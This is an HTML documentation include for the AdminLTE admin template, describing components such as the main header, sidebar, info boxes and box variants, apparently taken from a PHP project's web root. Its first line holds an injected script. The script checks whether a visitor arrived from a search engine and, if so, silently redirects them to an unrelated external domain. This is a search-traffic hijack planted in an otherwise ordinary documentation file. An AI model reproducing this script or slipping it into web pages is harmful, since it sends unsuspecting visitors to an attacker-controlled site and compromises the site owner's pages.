d:\wwwroot\wuchunhua\thinkphp\public\adminlte\documentation\build\include\components.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><section id="components" data-spy="scroll" data-target="#scrollspy-components">
002:
<h2 class="page-header"><a href="#components">Components</a></h2>
003:
<div class="callout callout-info lead">
004:
<h4>Reminder!</h4>
005:
<p>
006:
AdminLTE uses all of Bootstrap 3 components. It's a good start to review
007:
the <a href="http://getbootstrap.com">Bootstrap documentation</a> to get an idea of the various components
008:
that this documentation <b>does not</b> cover.
009:
</p>
010:
</div>
011:
<div class="callout callout-danger lead">
012:
<h4>Tip!</h4>
013:
<p>
014:
If you go through the example pages and would like to copy a component, right-click on
015:
the component and choose "inspect element" to get to the HTML quicker than scanning
016:
the HTML page.
017:
</p>
018:
</div>
019:
<h3 id="component-main-header">Main Header</h3>
020:
<p class="lead">The main header contains the logo and navbar. Construction of the
021:
navbar differs slightly from Bootstrap because it has components that Bootstrap doesn't provide.
022:
The navbar can be constructed in two ways. This is an example for the normal navbar and next we will provide an example for
023:
the top nav layout.</p>
024:
<div class="box box-solid">
025:
<div class="box-body" style="position: relative;">
026:
<span class="eg">Main Header Example</span>
027:
<header class="main-header" style="position: relative;">
028:
<!-- Logo -->
029:
<a href="index2.html" class="logo" style="position: relative;"><b>Admin</b>LTE</a>
030:
<!-- Header Navbar: style can be found in header.less -->
031:
<nav class="navbar" role="navigation" style="border: 0;max-height: 50px;">
032:
<!-- Sidebar toggle button-->
033:
<a href="#" class="sidebar-toggle" role="button">
034:
<span class="sr-only">Toggle navigation</span>
035:
</a>
036:
<!-- Navbar Right Menu -->
037:
<div class="navbar-custom-menu">
038:
<ul class="nav navbar-nav">
039:
<!-- Messages: style can be found in dropdown.less-->
040:
<li class="dropdown messages-menu">
041:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
042:
<i class="fa fa-envelope-o"></i>
043:
<span class="label label-success">4</span>
044:
</a>
045:
<ul class="dropdown-menu">
046:
<li class="header">You have 4 messages</li>
047:
<li>
048:
<!-- inner menu: contains the actual data -->
049:
<ul class="menu">
050:
<li>
<!-- start message -->
051:
<a href="#">
052:
<div class="pull-left">
053:
<img src="../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
054:
</div>
055:
<h4>
056:
Support Team
057:
<small><i class="fa fa-clock-o"></i> 5 mins</small>
058:
</h4>
059:
<p>Why not buy a new awesome theme?</p>
060:
</a>
061:
</li>
<!-- end message -->
062:
</ul>
063:
</li>
064:
<li class="footer"><a href="#">See All Messages</a></li>
065:
</ul>
066:
</li>
067:
<!-- Notifications: style can be found in dropdown.less -->
068:
<li class="dropdown notifications-menu">
069:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
070:
<i class="fa fa-bell-o"></i>
071:
<span class="label label-warning">10</span>
072:
</a>
073:
<ul class="dropdown-menu">
074:
<li class="header">You have 10 notifications</li>
075:
<li>
076:
<!-- inner menu: contains the actual data -->
077:
<ul class="menu">
078:
<li>
079:
<a href="#">
080:
<i class="fa fa-users text-aqua"></i> 5 new members joined today
081:
</a>
082:
</li>
083:
</ul>
084:
</li>
085:
<li class="footer"><a href="#">View all</a></li>
086:
</ul>
087:
</li>
088:
<!-- Tasks: style can be found in dropdown.less -->
089:
<li class="dropdown tasks-menu">
090:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
091:
<i class="fa fa-flag-o"></i>
092:
<span class="label label-danger">9</span>
093:
</a>
094:
<ul class="dropdown-menu">
095:
<li class="header">You have 9 tasks</li>
096:
<li>
097:
<!-- inner menu: contains the actual data -->
098:
<ul class="menu">
099:
<li>
<!-- Task item -->
100:
<a href="#">
101:
<h3>
102:
Design some buttons
103:
<small class="pull-right">20%</small>
104:
</h3>
105:
<div class="progress xs">
106:
<div class="progress-bar progress-bar-aqua" style="width: 20%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
107:
<span class="sr-only">20% Complete</span>
108:
</div>
109:
</div>
110:
</a>
111:
</li>
<!-- end task item -->
112:
</ul>
113:
</li>
114:
<li class="footer">
115:
<a href="#">View all tasks</a>
116:
</li>
117:
</ul>
118:
</li>
119:
<!-- User Account: style can be found in dropdown.less -->
120:
<li class="dropdown user user-menu">
121:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
122:
<img src="../dist/img/user2-160x160.jpg" class="user-image" alt="User Image">
123:
<span class="hidden-xs">Alexander Pierce</span>
124:
</a>
125:
<ul class="dropdown-menu">
126:
<!-- User image -->
127:
<li class="user-header">
128:
<img src="../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
129:
<p>
130:
Alexander Pierce - Web Developer
131:
<small>Member since Nov. 2012</small>
132:
</p>
133:
</li>
134:
<!-- Menu Body -->
135:
<li class="user-body">
136:
<div class="col-xs-4 text-center">
137:
<a href="#">Followers</a>
138:
</div>
139:
<div class="col-xs-4 text-center">
140:
<a href="#">Sales</a>
141:
</div>
142:
<div class="col-xs-4 text-center">
143:
<a href="#">Friends</a>
144:
</div>
145:
</li>
146:
<!-- Menu Footer-->
147:
<li class="user-footer">
148:
<div class="pull-left">
149:
<a href="#" class="btn btn-default btn-flat">Profile</a>
150:
</div>
151:
<div class="pull-right">
152:
<a href="#" class="btn btn-default btn-flat">Sign out</a>
153:
</div>
154:
</li>
155:
</ul>
156:
</li>
157:
</ul>
158:
</div>
159:
</nav>
160:
</header>
161:
</div>
162:
</div>
163:
<pre class="prettyprint"><header class="main-header">
164:
<a href="../../index2.html" class="logo">
165:
<!-- LOGO -->
166:
AdminLTE
167:
</a>
168:
<!-- Header Navbar: style can be found in header.less -->
169:
<nav class="navbar navbar-static-top" role="navigation">
170:
<!-- Navbar Right Menu -->
171:
<div class="navbar-custom-menu">
172:
<ul class="nav navbar-nav">
173:
<!-- Messages: style can be found in dropdown.less-->
174:
<li class="dropdown messages-menu">
175:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
176:
<i class="fa fa-envelope-o"></i>
177:
<span class="label label-success">4</span>
178:
</a>
179:
<ul class="dropdown-menu">
180:
<li class="header">You have 4 messages</li>
181:
<li>
182:
<!-- inner menu: contains the actual data -->
183:
<ul class="menu">
184:
<li><!-- start message -->
185:
<a href="#">
186:
<div class="pull-left">
187:
<img src="dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
188:
</div>
189:
<h4>
190:
Sender Name
191:
<small><i class="fa fa-clock-o"></i> 5 mins</small>
192:
</h4>
193:
<p>Message Excerpt</p>
194:
</a>
195:
</li><!-- end message -->
196:
...
197:
</ul>
198:
</li>
199:
<li class="footer"><a href="#">See All Messages</a></li>
200:
</ul>
201:
</li>
202:
<!-- Notifications: style can be found in dropdown.less -->
203:
<li class="dropdown notifications-menu">
204:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
205:
<i class="fa fa-bell-o"></i>
206:
<span class="label label-warning">10</span>
207:
</a>
208:
<ul class="dropdown-menu">
209:
<li class="header">You have 10 notifications</li>
210:
<li>
211:
<!-- inner menu: contains the actual data -->
212:
<ul class="menu">
213:
<li>
214:
<a href="#">
215:
<i class="ion ion-ios-people info"></i> Notification title
216:
</a>
217:
</li>
218:
...
219:
</ul>
220:
</li>
221:
<li class="footer"><a href="#">View all</a></li>
222:
</ul>
223:
</li>
224:
<!-- Tasks: style can be found in dropdown.less -->
225:
<li class="dropdown tasks-menu">
226:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
227:
<i class="fa fa-flag-o"></i>
228:
<span class="label label-danger">9</span>
229:
</a>
230:
<ul class="dropdown-menu">
231:
<li class="header">You have 9 tasks</li>
232:
<li>
233:
<!-- inner menu: contains the actual data -->
234:
<ul class="menu">
235:
<li><!-- Task item -->
236:
<a href="#">
237:
<h3>
238:
Design some buttons
239:
<small class="pull-right">20%</small>
240:
</h3>
241:
<div class="progress xs">
242:
<div class="progress-bar progress-bar-aqua" style="width: 20%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
243:
<span class="sr-only">20% Complete</span>
244:
</div>
245:
</div>
246:
</a>
247:
</li><!-- end task item -->
248:
...
249:
</ul>
250:
</li>
251:
<li class="footer">
252:
<a href="#">View all tasks</a>
253:
</li>
254:
</ul>
255:
</li>
256:
<!-- User Account: style can be found in dropdown.less -->
257:
<li class="dropdown user user-menu">
258:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
259:
<img src="dist/img/user2-160x160.jpg" class="user-image" alt="User Image">
260:
<span class="hidden-xs">Alexander Pierce</span>
261:
</a>
262:
<ul class="dropdown-menu">
263:
<!-- User image -->
264:
<li class="user-header">
265:
<img src="dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
266:
<p>
267:
Alexander Pierce - Web Developer
268:
<small>Member since Nov. 2012</small>
269:
</p>
270:
</li>
271:
<!-- Menu Body -->
272:
<li class="user-body">
273:
<div class="col-xs-4 text-center">
274:
<a href="#">Followers</a>
275:
</div>
276:
<div class="col-xs-4 text-center">
277:
<a href="#">Sales</a>
278:
</div>
279:
<div class="col-xs-4 text-center">
280:
<a href="#">Friends</a>
281:
</div>
282:
</li>
283:
<!-- Menu Footer-->
284:
<li class="user-footer">
285:
<div class="pull-left">
286:
<a href="#" class="btn btn-default btn-flat">Profile</a>
287:
</div>
288:
<div class="pull-right">
289:
<a href="#" class="btn btn-default btn-flat">Sign out</a>
290:
</div>
291:
</li>
292:
</ul>
293:
</li>
294:
</ul>
295:
</div>
296:
</nav>
297:
</header></pre>
298:
<h4>Top Nav Layout. Main Header Example.</h4>
299:
<div class="callout callout-info lead">
300:
<h4>Reminder!</h4>
301:
<p>To use this main header instead of the regular one, you must add the <code>layout-top-nav</code> class to the body tag.</p>
302:
</div>
303:
<div class="box box-solid">
304:
<div class="box-body layout-top-nav">
305:
<span class="eg">Top Nav Example</span>
306:
<header class="main-header">
307:
<nav class="navbar navbar-static-top">
308:
<div class="container-fluid">
309:
<div class="navbar-header">
310:
<a href="../../index2.html" class="navbar-brand"><b>Admin</b>LTE</a>
311:
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-collapse">
312:
<i class="fa fa-bars"></i>
313:
</button>
314:
</div>
315:
316:
<!-- Collect the nav links, forms, and other content for toggling -->
317:
<div class="collapse navbar-collapse" id="navbar-collapse">
318:
<ul class="nav navbar-nav">
319:
<li class="active"><a href="#">Link <span class="sr-only">(current)</span></a></li>
320:
<li><a href="#">Link</a></li>
321:
<li class="dropdown">
322:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown <span class="caret"></span></a>
323:
<ul class="dropdown-menu" role="menu">
324:
<li><a href="#">Action</a></li>
325:
<li><a href="#">Another action</a></li>
326:
<li><a href="#">Something else here</a></li>
327:
<li class="divider"></li>
328:
<li><a href="#">Separated link</a></li>
329:
<li class="divider"></li>
330:
<li><a href="#">One more separated link</a></li>
331:
</ul>
332:
</li>
333:
</ul>
334:
<form class="navbar-form navbar-left" role="search">
335:
<div class="form-group">
336:
<input type="text" class="form-control" id="navbar-search-input" placeholder="Search">
337:
</div>
338:
</form>
339:
<ul class="nav navbar-nav navbar-right">
340:
<li><a href="#">Link</a></li>
341:
<li class="dropdown">
342:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown <span class="caret"></span></a>
343:
<ul class="dropdown-menu" role="menu">
344:
<li><a href="#">Action</a></li>
345:
<li><a href="#">Another action</a></li>
346:
<li><a href="#">Something else here</a></li>
347:
<li class="divider"></li>
348:
<li><a href="#">Separated link</a></li>
349:
</ul>
350:
</li>
351:
</ul>
352:
</div>
<!-- /.navbar-collapse -->
353:
</div>
<!-- /.container-fluid -->
354:
</nav>
355:
</header>
356:
</div>
357:
</div>
358:
<pre class="prettyprint">
359:
<header class="main-header">
360:
<nav class="navbar navbar-static-top">
361:
<div class="container-fluid">
362:
<div class="navbar-header">
363:
<a href="../../index2.html" class="navbar-brand"><b>Admin</b>LTE</a>
364:
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-collapse">
365:
<i class="fa fa-bars"></i>
366:
</button>
367:
</div>
368:
369:
<!-- Collect the nav links, forms, and other content for toggling -->
370:
<div class="collapse navbar-collapse" id="navbar-collapse">
371:
<ul class="nav navbar-nav">
372:
<li class="active"><a href="#">Link <span class="sr-only">(current)</span></a></li>
373:
<li><a href="#">Link</a></li>
374:
<li class="dropdown">
375:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown <span class="caret"></span></a>
376:
<ul class="dropdown-menu" role="menu">
377:
<li><a href="#">Action</a></li>
378:
<li><a href="#">Another action</a></li>
379:
<li><a href="#">Something else here</a></li>
380:
<li class="divider"></li>
381:
<li><a href="#">Separated link</a></li>
382:
<li class="divider"></li>
383:
<li><a href="#">One more separated link</a></li>
384:
</ul>
385:
</li>
386:
</ul>
387:
<form class="navbar-form navbar-left" role="search">
388:
<div class="form-group">
389:
<input type="text" class="form-control" id="navbar-search-input" placeholder="Search">
390:
</div>
391:
</form>
392:
<ul class="nav navbar-nav navbar-right">
393:
<li><a href="#">Link</a></li>
394:
<li class="dropdown">
395:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown <span class="caret"></span></a>
396:
<ul class="dropdown-menu" role="menu">
397:
<li><a href="#">Action</a></li>
398:
<li><a href="#">Another action</a></li>
399:
<li><a href="#">Something else here</a></li>
400:
<li class="divider"></li>
401:
<li><a href="#">Separated link</a></li>
402:
</ul>
403:
</li>
404:
</ul>
405:
</div><!-- /.navbar-collapse -->
406:
</div><!-- /.container-fluid -->
407:
</nav>
408:
</header></pre>
409:
410:
<!-- ===================================================================== -->
411:
412:
<h3 id="component-sidebar">Sidebar</h3>
413:
<p class="lead">
414:
The sidebar used in this page to the left provides an example of what your sidebar should like.
415:
Construction of a sidebar:
416:
</p>
417:
<pre class="prettyprint">
418:
<div class="main-sidebar">
419:
<!-- Inner sidebar -->
420:
<div class="sidebar">
421:
<!-- user panel (Optional) -->
422:
<div class="user-panel">
423:
<div class="pull-left image">
424:
<img src="dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
425:
</div>
426:
<div class="pull-left info">
427:
<p>User Name</p>
428:
429:
<a href="#"><i class="fa fa-circle text-success"></i> Online</a>
430:
</div>
431:
</div><!-- /.user-panel -->
432:
433:
<!-- Search Form (Optional) -->
434:
<form action="#" method="get" class="sidebar-form">
435:
<div class="input-group">
436:
<input type="text" name="q" class="form-control" placeholder="Search...">
437:
<span class="input-group-btn">
438:
<button type="submit" name="search" id="search-btn" class="btn btn-flat"><i class="fa fa-search"></i></button>
439:
</span>
440:
</div>
441:
</form><!-- /.sidebar-form -->
442:
443:
<!-- Sidebar Menu -->
444:
<ul class="sidebar-menu">
445:
<li class="header">HEADER</li>
446:
<!-- Optionally, you can add icons to the links -->
447:
<li class="active"><a href="#"><span>Link</span></a><</li>
448:
<li><a href="#"><span>Another Link</span></a></li>
449:
<li class="treeview">
450:
<a href="#"><span>Multilevel</span> <i class="fa fa-angle-left pull-right"></i></a>
451:
<ul class="treeview-menu">
452:
<li><a href="#">Link in level 2</a></li>
453:
<li><a href="#">Link in level 2</a></li>
454:
</ul>
455:
</li>
456:
</ul><!-- /.sidebar-menu -->
457:
458:
</div><!-- /.sidebar -->
459:
</div><!-- /.main-sidebar --></pre>
460:
461:
<h3 id="component-control-sidebar">Control Sidebar</h3>
462:
<p class="lead">Control sidebar is the right side bar. It can be used for many purposes and is extremely easy
463:
to create. The sidebar ships with two different show/hide styles. The first allows the sidebar to
464:
slide over the content. The second pushes the content to make space for the sidebar. Either of
465:
these methods can be set through the <a href="#adminlte-options">Javascript options</a>.</p>
466:
<p class="lead">The following code should be placed within the <code>.wrapper</code> div. I prefer
467:
to place it right after the footer.</p>
468:
<p class="lead">Dark Sidebar Markup</p>
469:
<pre class="prettyprint"><code class="lang-html"><!-- The Right Sidebar -->
470:
<aside class="control-sidebar control-sidebar-dark">
471:
<!-- Content of the sidebar goes here -->
472:
</aside>
473:
<!-- The sidebar's background -->
474:
<!-- This div must placed right after the sidebar for it to work-->
475:
<div class="control-sidebar-bg"></div></code></pre>
476:
477:
<p class="lead">Light Sidebar Markup</p>
478:
<pre class="prettyprint"><code class="lang-html"><!-- The Right Sidebar -->
479:
<aside class="control-sidebar control-sidebar-light">
480:
<!-- Content of the sidebar goes here -->
481:
</aside>
482:
<!-- The sidebar's background -->
483:
<!-- This div must placed right after the sidebar for it to work-->
484:
<div class="control-sidebar-bg"></div></code></pre>
485:
486:
<p class="lead">Once you create the sidebar, you will need a toggle button to open/close it.
487:
By adding the attribute <code>data-toggle="control-sidebar"</code> to any button, it will
488:
automatically act as the toggle button.</p>
489:
490:
<p class="lead">Toggle Button Example</p>
491:
<button class="btn btn-primary" data-toggle="control-sidebar">Toggle Right Sidebar</button><br><br>
492:
493:
<p class="lead">Sidebar Toggle Markup</p>
494:
<pre class="prettyprint"><code class="lang-html"><button class="btn btn-default" data-toggle="control-sidebar">Toggle Right Sidebar</button></code></pre>
495:
<!-- ===================================================================== -->
496:
497:
<h3 id="component-info-box">Info Box</h3>
498:
<p class="lead">Info boxes are used to display statistical snippets. There are two types of info boxes.</p>
499:
<h4>First Type of Info Boxes</h4>
500:
<!-- Info Boxes -->
501:
<div class="row">
502:
<div class="col-md-3 col-sm-6 col-xs-12">
503:
<div class="info-box">
504:
<span class="info-box-icon bg-aqua"><i class="fa fa-envelope-o"></i></span>
505:
<div class="info-box-content">
506:
<span class="info-box-text">Messages</span>
507:
<span class="info-box-number">1,410</span>
508:
</div>
<!-- /.info-box-content -->
509:
</div>
<!-- /.info-box -->
510:
</div>
<!-- /.col -->
511:
<div class="col-md-3 col-sm-6 col-xs-12">
512:
<div class="info-box">
513:
<span class="info-box-icon bg-green"><i class="fa fa-flag-o"></i></span>
514:
<div class="info-box-content">
515:
<span class="info-box-text">Bookmarks</span>
516:
<span class="info-box-number">410</span>
517:
</div>
<!-- /.info-box-content -->
518:
</div>
<!-- /.info-box -->
519:
</div>
<!-- /.col -->
520:
<div class="col-md-3 col-sm-6 col-xs-12">
521:
<div class="info-box">
522:
<span class="info-box-icon bg-yellow"><i class="fa fa-files-o"></i></span>
523:
<div class="info-box-content">
524:
<span class="info-box-text">Uploads</span>
525:
<span class="info-box-number">13,648</span>
526:
</div>
<!-- /.info-box-content -->
527:
</div>
<!-- /.info-box -->
528:
</div>
<!-- /.col -->
529:
<div class="col-md-3 col-sm-6 col-xs-12">
530:
<div class="info-box">
531:
<span class="info-box-icon bg-red"><i class="fa fa-star-o"></i></span>
532:
<div class="info-box-content">
533:
<span class="info-box-text">Likes</span>
534:
<span class="info-box-number">93,139</span>
535:
</div>
<!-- /.info-box-content -->
536:
</div>
<!-- /.info-box -->
537:
</div>
<!-- /.col -->
538:
</div>
<!-- /.row -->
539:
<p class="lead">Markup</p>
540:
<pre class="prettyprint"><code class="lang-html"><div class="info-box">
541:
<!-- Apply any bg-* class to to the icon to color it -->
542:
<span class="info-box-icon bg-red"><i class="fa fa-star-o"></i></span>
543:
<div class="info-box-content">
544:
<span class="info-box-text">Likes</span>
545:
<span class="info-box-number">93,139</span>
546:
</div><!-- /.info-box-content -->
547:
</div><!-- /.info-box --></code></pre>
548:
549:
<h4>Second Type of Info Boxes</h4>
550:
<div class="row">
551:
<div class="col-md-3 col-sm-6 col-xs-12">
552:
<div class="info-box bg-aqua">
553:
<span class="info-box-icon"><i class="fa fa-bookmark-o"></i></span>
554:
<div class="info-box-content">
555:
<span class="info-box-text">Bookmarks</span>
556:
<span class="info-box-number">41,410</span>
557:
<div class="progress">
558:
<div class="progress-bar" style="width: 70%"></div>
559:
</div>
560:
<span class="progress-description">
561:
70% Increase in 30 Days
562:
</span>
563:
</div>
<!-- /.info-box-content -->
564:
</div>
<!-- /.info-box -->
565:
</div>
<!-- /.col -->
566:
<div class="col-md-3 col-sm-6 col-xs-12">
567:
<div class="info-box bg-green">
568:
<span class="info-box-icon"><i class="fa fa-thumbs-o-up"></i></span>
569:
<div class="info-box-content">
570:
<span class="info-box-text">Likes</span>
571:
<span class="info-box-number">41,410</span>
572:
<div class="progress">
573:
<div class="progress-bar" style="width: 70%"></div>
574:
</div>
575:
<span class="progress-description">
576:
70% Increase in 30 Days
577:
</span>
578:
</div>
<!-- /.info-box-content -->
579:
</div>
<!-- /.info-box -->
580:
</div>
<!-- /.col -->
581:
<div class="col-md-3 col-sm-6 col-xs-12">
582:
<div class="info-box bg-yellow">
583:
<span class="info-box-icon"><i class="fa fa-calendar"></i></span>
584:
<div class="info-box-content">
585:
<span class="info-box-text">Events</span>
586:
<span class="info-box-number">41,410</span>
587:
<div class="progress">
588:
<div class="progress-bar" style="width: 70%"></div>
589:
</div>
590:
<span class="progress-description">
591:
70% Increase in 30 Days
592:
</span>
593:
</div>
<!-- /.info-box-content -->
594:
</div>
<!-- /.info-box -->
595:
</div>
<!-- /.col -->
596:
<div class="col-md-3 col-sm-6 col-xs-12">
597:
<div class="info-box bg-red">
598:
<span class="info-box-icon"><i class="fa fa-comments-o"></i></span>
599:
<div class="info-box-content">
600:
<span class="info-box-text">Comments</span>
601:
<span class="info-box-number">41,410</span>
602:
<div class="progress">
603:
<div class="progress-bar" style="width: 70%"></div>
604:
</div>
605:
<span class="progress-description">
606:
70% Increase in 30 Days
607:
</span>
608:
</div>
<!-- /.info-box-content -->
609:
</div>
<!-- /.info-box -->
610:
</div>
<!-- /.col -->
611:
</div>
<!-- /.row -->
612:
<p class="lead">Markup</p>
613:
<pre class="prettyprint"><code class="lang-html"><!-- Apply any bg-* class to to the info-box to color it -->
614:
<div class="info-box bg-red">
615:
<span class="info-box-icon"><i class="fa fa-comments-o"></i></span>
616:
<div class="info-box-content">
617:
<span class="info-box-text">Likes</span>
618:
<span class="info-box-number">41,410</span>
619:
<!-- The progress section is optional -->
620:
<div class="progress">
621:
<div class="progress-bar" style="width: 70%"></div>
622:
</div>
623:
<span class="progress-description">
624:
70% Increase in 30 Days
625:
</span>
626:
</div><!-- /.info-box-content -->
627:
</div><!-- /.info-box --></code></pre>
628:
<p class="lead">The only thing you need to change to alternate between these style is change the placement of the bg-* class. For the
629:
first style apply any bg-* class to the icon itself. For the other style, apply the bg-* class to the info-box div.</p>
630:
<!-- ===================================================================== -->
631:
632:
<h3 id="component-box">Box</h3>
633:
<p class="lead">The box component is the most widely used component through out this template. You can
634:
use it for anything from displaying charts to just blocks of text. It comes in many different
635:
styles that we will explore below.</p>
636:
<h4>Default Box Markup</h4>
637:
<div class="box">
638:
<div class="box-header with-border">
639:
<h3 class="box-title">Default Box Example</h3>
640:
<div class="box-tools pull-right">
641:
<!-- Buttons, labels, and many other things can be placed here! -->
642:
<!-- Here is a label for example -->
643:
<span class="label label-primary">Label</span>
644:
</div>
<!-- /.box-tools -->
645:
</div>
<!-- /.box-header -->
646:
<div class="box-body">
647:
The body of the box
648:
</div>
<!-- /.box-body -->
649:
<div class="box-footer">
650:
The footer of the box
651:
</div>
<!-- box-footer -->
652:
</div>
<!-- /.box -->
653:
<pre class="prettyprint"><div class="box">
654:
<div class="box-header with-border">
655:
<h3 class="box-title">Default Box Example</h3>
656:
<div class="box-tools pull-right">
657:
<!-- Buttons, labels, and many other things can be placed here! -->
658:
<!-- Here is a label for example -->
659:
<span class="label label-primary">Label</span>
660:
</div><!-- /.box-tools -->
661:
</div><!-- /.box-header -->
662:
<div class="box-body">
663:
The body of the box
664:
</div><!-- /.box-body -->
665:
<div class="box-footer">
666:
The footer of the box
667:
</div><!-- box-footer -->
668:
</div><!-- /.box --></pre>
669:
<h4>Box Variants</h4>
670:
<p class="lead">You can change the style of the box by adding any of the contextual classes.</p>
671:
<div class="row">
672:
<div class="col-md-4">
673:
<div class="box">
674:
<div class="box-header with-border">
675:
<h3 class="box-title">Default Box Example</h3>
676:
</div>
<!-- /.box-header -->
677:
<div class="box-body">
678:
The body of the box
679:
</div>
<!-- /.box-body -->
680:
</div>
<!-- /.box -->
681:
</div>
682:
<div class="col-md-4">
683:
<div class="box box-primary">
684:
<div class="box-header with-border">
685:
<h3 class="box-title">Primary Box Example</h3>
686:
</div>
<!-- /.box-header -->
687:
<div class="box-body">
688:
The body of the box
689:
</div>
<!-- /.box-body -->
690:
</div>
<!-- /.box -->
691:
</div>
692:
<div class="col-md-4">
693:
<div class="box box-info">
694:
<div class="box-header with-border">
695:
<h3 class="box-title">Info Box Example</h3>
696:
</div>
<!-- /.box-header -->
697:
<div class="box-body">
698:
The body of the box
699:
</div>
<!-- /.box-body -->
700:
</div>
<!-- /.box -->
701:
</div>
702:
<div class="clearfix"></div>
703:
<div class="col-md-4">
704:
<div class="box box-warning">
705:
<div class="box-header with-border">
706:
<h3 class="box-title">Warning Box Example</h3>
707:
</div>
<!-- /.box-header -->
708:
<div class="box-body">
709:
The body of the box
710:
</div>
<!-- /.box-body -->
711:
</div>
<!-- /.box -->
712:
</div>
713:
<div class="col-md-4">
714:
<div class="box box-success">
715:
<div class="box-header with-border">
716:
<h3 class="box-title">Success Box Example</h3>
717:
</div>
<!-- /.box-header -->
718:
<div class="box-body">
719:
The body of the box
720:
</div>
<!-- /.box-body -->
721:
</div>
<!-- /.box -->
722:
</div>
723:
<div class="col-md-4">
724:
<div class="box box-danger">
725:
<div class="box-header with-border">
726:
<h3 class="box-title">Danger Box Example</h3>
727:
</div>
<!-- /.box-header -->
728:
<div class="box-body">
729:
The body of the box
730:
</div>
<!-- /.box-body -->
731:
</div>
<!-- /.box -->
732:
</div>
733:
</div>
<!-- /.row -->
734:
<pre class="prettyprint"><div class="box box-default">...</div>
735:
<div class="box box-primary">...</div>
736:
<div class="box box-info">...</div>
737:
<div class="box box-warning">...</div>
738:
<div class="box box-success">...</div>
739:
<div class="box box-danger">...</div></pre>
740:
741:
<h4>Solid Box</h4>
742:
<p class="lead">Solid Boxes are alternative ways to display boxes.
743:
They can be created by simply adding the box-solid class to the box component.
744:
You may also use contextual classes with you solid boxes.</p>
745:
<div class="row">
746:
<div class="col-md-4">
747:
<div class="box box-solid box-default">
748:
<div class="box-header">
749:
<h3 class="box-title">Default Solid Box Example</h3>
750:
</div>
<!-- /.box-header -->
751:
<div class="box-body">
752:
The body of the box
753:
</div>
<!-- /.box-body -->
754:
</div>
<!-- /.box -->
755:
</div>
756:
<div class="col-md-4">
757:
<div class="box box-solid box-primary">
758:
<div class="box-header">
759:
<h3 class="box-title">Primary Solid Box Example</h3>
760:
</div>
<!-- /.box-header -->
761:
<div class="box-body">
762:
The body of the box
763:
</div>
<!-- /.box-body -->
764:
</div>
<!-- /.box -->
765:
</div>
766:
<div class="col-md-4">
767:
<div class="box box-solid box-info">
768:
<div class="box-header">
769:
<h3 class="box-title">Info Solid Box Example</h3>
770:
</div>
<!-- /.box-header -->
771:
<div class="box-body">
772:
The body of the box
773:
</div>
<!-- /.box-body -->
774:
</div>
<!-- /.box -->
775:
</div>
776:
<div class="clearfix"></div>
777:
<div class="col-md-4">
778:
<div class="box box-solid box-warning">
779:
<div class="box-header">
780:
<h3 class="box-title">Warning Solid Box Example</h3>
781:
</div>
<!-- /.box-header -->
782:
<div class="box-body">
783:
The body of the box
784:
</div>
<!-- /.box-body -->
785:
</div>
<!-- /.box -->
786:
</div>
787:
<div class="col-md-4">
788:
<div class="box box-solid box-success">
789:
<div class="box-header">
790:
<h3 class="box-title">Success Solid Box Example</h3>
791:
</div>
<!-- /.box-header -->
792:
<div class="box-body">
793:
The body of the box
794:
</div>
<!-- /.box-body -->
795:
</div>
<!-- /.box -->
796:
</div>
797:
<div class="col-md-4">
798:
<div class="box box-solid box-danger">
799:
<div class="box-header">
800:
<h3 class="box-title">Danger Solid Box Example</h3>
801:
</div>
<!-- /.box-header -->
802:
<div class="box-body">
803:
The body of the box
804:
</div>
<!-- /.box-body -->
805:
</div>
<!-- /.box -->
806:
</div>
807:
</div>
<!-- /.row -->
808:
<pre class="prettyprint">
809:
<div class="box box-solid box-default">...</div>
810:
<div class="box box-solid box-primary">...</div>
811:
<div class="box box-solid box-info">...</div>
812:
<div class="box box-solid box-warning">...</div>
813:
<div class="box box-solid box-success">...</div>
814:
<div class="box box-solid box-danger">...</div></pre>
815:
<h4>Box Tools</h4>
816:
<p class="lead">Boxes can contain tools to deploy a specific event or provide simple info. The following examples makes use
817:
of multiple AdminLTE components within the header of the box.</p>
818:
<p>AdminLTE data-widget attribute provides boxes with the ability to collapse or be removed. The buttons
819:
are placed in the box-tools which is placed in the box-header.</p>
820:
<pre class="prettyprint">
821:
<!-- This will cause the box to be removed when clicked -->
822:
<button class="btn btn-box-tool" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button>
823:
<!-- This will cause the box to collapse when clicked -->
824:
<button class="btn btn-box-tool" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button></pre>
825:
<div class="row">
826:
<div class="col-md-4">
827:
<div class="box box-default">
828:
<div class="box-header with-border">
829:
<h3 class="box-title">Collapsable</h3>
830:
<div class="box-tools pull-right">
831:
<button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
832:
</div>
<!-- /.box-tools -->
833:
</div>
<!-- /.box-header -->
834:
<div class="box-body">
835:
The body of the box
836:
</div>
<!-- /.box-body -->
837:
</div>
<!-- /.box -->
838:
<pre class="prettyprint">
839:
<div class="box box-default">
840:
<div class="box-header with-border">
841:
<h3 class="box-title">Collapsable</h3>
842:
<div class="box-tools pull-right">
